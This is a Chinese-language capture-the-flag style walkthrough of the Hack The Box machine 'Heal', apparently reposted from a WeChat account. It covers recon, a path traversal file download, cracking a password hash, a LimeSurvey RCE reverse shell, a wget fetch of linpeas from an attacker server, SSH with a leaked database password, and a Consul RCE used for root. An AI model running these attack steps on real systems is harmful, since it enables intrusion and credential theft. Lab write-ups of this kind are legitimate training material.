信息收集
1、端口扫描
nmap -Pn -sS --min-rate 10000 -sV -O 10.10.11.46
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)80/tcp open http nginx 1.18.0 (Ubuntu)
访问80端口( 不可达, 根据返回信息 ) & 添加
dns
解析
sudo vim /etc/hosts10.10.11.46 heal.htb
2、子域名扫描
ffuf -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -u http://heal.htb -H "Host: FUZZ.heal.htb"
api [Status: 200, Size: 12515, Words: 469, Lines: 91, Duration: 3325ms]
添加
dns
解析
sudo vim /etc/hosts10.10.11.46 api.heal.htb
3、目录扫描
用dirsearch
扫描时发现都是 503
错误
katana
--- 爬取网页端点
# 命令./katana -u http://heal.htb -jc -o heal.endpointscat heal.endpoints | grep heal.htb# 结果http://api.heal.htb/download?filename=http://api.heal.htb/logouthttp://api.heal.htb/profilehttp://api.heal.htb/signinhttp://api.heal.htb/signup.......
结合heal.htb
的功能点 -> heal.htb
的功能 -> 都是通过调用api.heal.htb
来实现的
whatweb
--- 指纹识别
# 命令whatweb http://api.heal.htb# 结果http://api.heal.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.46], Title[Ruby on Rails 7.1.4], UncommonHeaders[x-content-type-options,x-permitted-cross-domain-policies,referrer-policy,x-request-id], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[0], nginx[1.18.0]
4、测试网页功能
注册账户 &
Profile
&Survey
&Logout
随便注册即可
Profile
-> 导出成PDF
格式 -> 抓包(POST /exports
) -> 放包(OPTIONS /download?filename=ab97346d3974e9b50442.pdf
) -> 任意文件下载( GET /download?filename=../../../../etc/passwd
)
root:x:0:0:root:/root:/bin/bash.....ron:x:1001:1001:,,,:/home/ron:/bin/bash
Ruby配置和连接数据库:https://courses.bigbinaryacademy.com/learn-rubyonrails/configuring-and-connecting-to-a-database/
结合api.heal.htb
使用的是ruby
语言 -> config.ru
config目录
找配置文件 -> 有 PostgreSQL 用户 -> Ruby On Rails中的数据库配置文件得到了数据库 -> storage/test.sqlite3 && storage/development.sqlite3
storage/development.sqlite3
sqlite3 ./development.sqlite3 -> 可以查看内容 -> users表 用户的hash值 -> 保存到文件中 -> john爆破hash文件:$2a$12$xxxxxxxGjohn hash --show
ralph:147258369
Survey
-> 跳转到新的站点 -> 添加DNS
解析( take-survey.heal.htb
)
这里泄露了管理员的邮箱 --- 右上角三个点( 报错跳转的 )[email protected]
dirsearch
--- 目录扫描
admin目录 -> 访问 -> 跳转 -> http://take-survey.heal.htb/index.php/admin/authentication/sa/login -> 登录框 -> 根据前面得到的 -> 登录后台
打点
在后台发现版本信息
LimeSurvey Community Edition Version 6.6.4
Github RCE Poc:https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE
修改revshell.php内容:反弹的IP 和 端口号打包 revshell.php 和 config.xml 内容为zipzip shell.zip revshell.php config.xml然后上传,监听,激活,得到shell
# 伪终端python3 -c 'import pty;pty.spawn("/bin/bash")'
User.txt
/var/www/limesurvey/application/config/config.php'username' => 'db_user','password' => 'AdmiDi0_pA$$w0rd',
数据库中没什么信息, 在之前我们已经拿到数据库里面的信息了
# ssh 登录ssh [email protected]ron:AdmiDi0_pA$$w0rd
root.txt
本机在linpeas.sh目录下本机:python -m http.server 80shell:wget http://Server_ip/linpeas.shchmod +x linpeas.sh./linpeas.sh
这端口一看就有东西吧。
# 转发端口本机中:ssh -L 8500:127.0.0.1:8500 [email protected]将heal.htb 的8500端口转发到本地的8500端口
访问 127.0.0.1:8500发现版本信息 Consul v1.19.2
Hashicorp Consul v1.0 - Remote Command Execution (RCE):https://www.exploit-db.com/exploits/51117
python shell.py 127.0.0.1 8500 10.10.16.62 9999 0
总结
功能点 -> 导出功能 -> 任意文件下载 -> 结合框架 -> 数据库文件 -> hash爆破 -> 得到有效凭证功能点 -> api接口 -> 目录扫描 -> 后台登录 -> 版本信息 -> 历史漏洞 -> GetShell配置文件 -> User.txt端口异常 -> 转发 -> 版本信息 -> 历史漏洞 -> Root.txt
-
katana
、whatweb
、ssh -L
原文始发于微信公众号(夜风Sec):HTB靶机 - Heal
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论